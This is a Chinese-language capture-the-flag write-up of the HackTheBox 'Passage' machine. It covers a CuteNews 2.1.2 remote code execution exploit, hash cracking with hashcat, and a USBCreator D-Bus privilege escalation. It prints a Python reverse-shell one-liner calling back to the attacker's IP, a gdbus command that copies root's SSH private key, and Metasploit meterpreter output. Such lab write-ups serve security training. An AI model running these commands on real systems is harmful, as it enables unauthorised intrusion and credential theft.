Author: 0x584A
知识:
nmap
hashcat
USBCreator Privilege escalation
信息收集
Nmap 7.91 scan initiated Tue Nov 24 09:06:50 2020 as: nmap -sC -sV -oA nmap/initial 10.10.10.206Nmap scan report for 10.10.10.206Host is up (0.30s latency).Not shown: 998 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)| 256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)|_ 256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)80/tcp open http Apache httpd 2.4.18 ((Ubuntu))|_http-server-header: Apache/2.4.18 (Ubuntu)|_http-title: Passage NewsService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Tue Nov 24 09:09:14 2020 -- 1 IP address (1 host up) scanned in 144.42 seconds有一个Web服务,通过页面信息确认是“CuteNews CMS”,文章中提示安装有“fail2ban”,所以不能对其进行批量路径扫描或爆破,IP会被ban。
user flag
通过searchsploit CuteNews搜索exploit,找到一个可用的RCE:CuteNews 2.1.2 - Remote Code Execution。
┌──(x㉿kali)-[~/hackthebox/Passage]└─$ python3 ./48800.py 10.10.10.206_ __ _ __ ___ ___ / ___/ / /____ / |/ /__ _ _____ | | < / | |/ // // / / -) / -) |/|/ (-< / /_ / / / /_/_,/_/_//|/_/|,__// /_()()/___ _________/ _ \/ ___/ __// , / // ///|_|_//[->] Usage python3 expoit.pyEnter the URL> http://10.10.10.206============================Dropping to a SHELL============================command > lsavatar_Hx73otDOKP_Hx73otDOKP.phpavatar_egre55_ykxnacpt.phpavatar_hacker_jpyoyskt.phpavatar_lian2_ppoorrbh.phpavatar_lian3_jsbkkvbp.phpcommand > iduid=33(www-data) gid=33(www-data) groups=33(www-data)返回的shell是www-data,所以得找找user信息。
为了更好的方便操作,nc反弹了shell到攻击机,并且是一个完整的tty shell
command > export RHOST="10.10.14.6";export RPORT=9996;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'首先查看用户:
$ cat /etc/passwd | grep bin/bashcat /etc/passwd | grep bin/bashroot:x:0:0:root:/root:/bin/bashnadav:x:1000:1000:Nadav,,,:/home/nadav:/bin/bashpaul:x:1001:1001:Paul Coles,,,:/home/paul:/bin/bash存在paul、nadav两个可登录的用户,与Web系统页中发布文章用户名一致。
随后在找了下这个CMS系统的信息,它是不存在数据库的,所以要在本地文件中查找,发现了一个可疑的lines文件,里面有大量的base64内容:
通过decode编码拿到了PHP反序列化内容,里面含有paul@passage.htb用户的密码hash,对其进行爆破得到paul用户的密码。
hashcat -m 1400 685a53b85a3017692e086a58ea4ac181abdad671bd2565421c90a4037fdce51d ./rockyou.txt --forcee26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd:atlanta1尝试直接ssh用户发现是无法登录的,尝试通过反弹的shell去su用户。
nadav 用户的hash爆破不出来,但在paul用户的~/.ssh/authorized_keys中看到免密认证,尝试ssh nadav@passage.htb成功切至nadav用户。
root flag
通过一通linux检查脚本没有发现明显的可疑点,一度让我陷入了迷茫。这玩意这么难吗???
查看到有一个本地631的端口,尝试下来是一个网络打印服务:
暂看下来没什么问题… 接着困惑… 但在查看进程时迎来转机…
通过google搜索/usr/share/usb-creator/usb-creator-helper,第一个就是利用方式USBCreator D-Bus Privilege Escalation in Ubuntu Desktop
通过 Ubuntu 桌面的USBCreator D-Bus 接口实现权限提升。
USBCreator D-Bus接口中存在一个漏洞,如果具备sudoer组用户的访问权限,那么攻击者可以利用该漏洞绕过sudo程序强制的密码安全策略。攻击者能够利用该漏洞,以root身份使用任意内容覆盖任意文件,且无需提供密码。这种方式通常会导致权限提升问题,比如攻击者可以覆盖shadow文件,为root设置密码。
最后附上了利用截图,我们就可以根据利用方式将root的私钥复制至本地并登录。
nadav@passage:~/.ssh$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/tmp1 true
此时的/tmp/tmp1的内容就是root权限的id_rsa,我们复制一份出来tmp2:
其他
期间学到一个以前没有注意到的技巧,将 exploit-db 的利用脚本加入Metasploit 框架。
之前搜索exploit时有一个46698.rb,它是可以载入到msf模块中去的:
$ cd /root/.msf4/modules/exploits/cgi/webapps$ searchsploit -m 46698.rb$ msfconsole -q$ msf6> reload_all$ msf6> search 46698Matching Modules================# Name Disclosure Date Rank Check Description- ---- --------------- ---- ----- -----------0 exploit/cgi/webapps/46698 2019-04-14 excellent Yes CuteNews 2.1.2 - 'avatar' Remote Code ExecutionInteract with a module by name or index. For example info 0, use 0 or use exploit/cgi/webapps/46698...略...msf6 exploit(cgi/webapps/46698) > show optionsModule options (exploit/cgi/webapps/46698):Name Current Setting Required Description---- --------------- -------- -----------PASSWORD test001 no Password to authenticate withProxies no A proxy chain of format type:host:port[,type:host:port][...]RHOSTS 10.10.10.206 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'RPORT 80 yes The target port (TCP)SSL false no Negotiate SSL/TLS for outgoing connectionsTARGETURI /CuteNews yes Base CutePHP directory pathUSERNAME test001 yes Username to authenticate withVHOST no HTTP server virtual hostPayload options (php/meterpreter/reverse_tcp):Name Current Setting Required Description---- --------------- -------- -----------LHOST 10.10.14.6 yes The listen address (an interface may be specified)LPORT 9999 yes The listen portExploit target:Id Name-- ----0 Automaticmsf6 exploit(cgi/webapps/46698) > exploit[] Started reverse TCP handler on 10.10.14.6:9999[] http://10.10.10.206:80 - CuteNews is 2.1.2[+] Authentication was successful with user: test001[] Trying to upload tdnthxjl.php[+] Upload successfully.[] Sending stage (39282 bytes) to 10.10.10.206[*] Meterpreter session 1 opened (10.10.14.6:9999 -> 10.10.10.206:50654) at 2020-11-28 11:25:51 -0500meterpreter >参考
https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/
https://atsud0.me/2020/05/07/TryHackMe-CrackTheHash/
https://blog.csdn.net/ZOMB1E123456/article/details/102983954